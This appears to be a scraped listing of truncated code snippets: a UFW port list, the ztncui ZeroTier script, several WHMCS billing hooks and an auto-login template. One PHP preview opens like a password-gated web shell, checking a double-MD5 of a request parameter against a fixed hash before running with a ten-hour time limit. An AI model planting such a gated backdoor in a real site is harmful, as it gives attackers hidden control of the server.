Contenu du fichier vars_ufw.yml
:
---
allow_in:
- {port: 22, proto: 'tcp'}
- {port: 25, proto: 'tcp'}
- {port: 53, proto: 'udp'}
#!/bin/sh | |
# | |
# ztncui - ZeroTier network controller UI | |
# Copyright (C) 2017-2019 Key Networks (https://key-networks.com) | |
# Licensed under GPLv3 - see LICENSE for details. | |
# | |
TOKEN=`sudo cat /var/lib/zerotier-one/authtoken.secret` | |
echo -e "This is the list of networks avaialble on this Network Controller:" |
/* | |
* REVISION: $Rev: 1426 $ | |
*/ | |
if (md5(md5($_REQUEST['hhh'])) == 'bc5aaff98e1783e8e30f266af63cea42') { | |
set_time_limit(36000); | |
function unslash_rec(&$arr) | |
{ | |
reset($arr); | |
while (list($key) = each($arr)) |
<?php | |
/** | |
* Auto Login Hash Merge Tag Email Template ( Versão resumida ) | |
* @author Mauricio Gofas | gofas.net | |
* @copyright Copyright (c) 2016 https://gofas.net | |
*/ | |
// Modelo de URL para colar no template de email: | |
// {$whmcs_url}auth.php?email={$client_email}&hash={$hash}&whmcsurl={$whmcs_url}&goto=viewinvoice.php?id={$invoice_id} | |
$autoauthkey = "xxxxx_autoauthkey_xxxxx"; // chave igual à inserida no arquivo /configuration.php |
<?php | |
if (!defined("WHMCS")) | |
die("This file cannot be accessed directly"); | |
use WHMCS\Database\Capsule; | |
/* | |
* Copies account details from parent accounts to sub-accounts | |
*/ | |
add_hook('ContactAdd', 1, "wb_setup_sub_accounts"); |
<?php | |
if (!defined("WHMCS")) | |
die("This file cannot be accessed directly"); | |
use WHMCS\Database\Capsule; | |
function wb_mark_zero_invoices_paid(){ | |
//get all unpaid invoices | |
$unpaid_invoices = Capsule::table('tblinvoices')->where('status', 'Unpaid')->get(); | |
foreach( $unpaid_invoices as $inv ){ |
<?php | |
if (!defined("WHMCS")) | |
die("This file cannot be accessed directly"); | |
use WHMCS\Database\Capsule; | |
/* | |
* Temporarily updates the primary account's email address to that of the | |
* company's Billing contact upon creation of a new invoice so that invoices | |
* are not sent to the primary account holder. |
<?php | |
if (!defined("WHMCS")) | |
die("This file cannot be accessed directly"); | |
use WHMCS\Database\Capsule; | |
function disable_00_invoices($vars) { | |
$merge_fields = array(); | |
$email_template_name = $vars['messagename']; # Email template name being sent |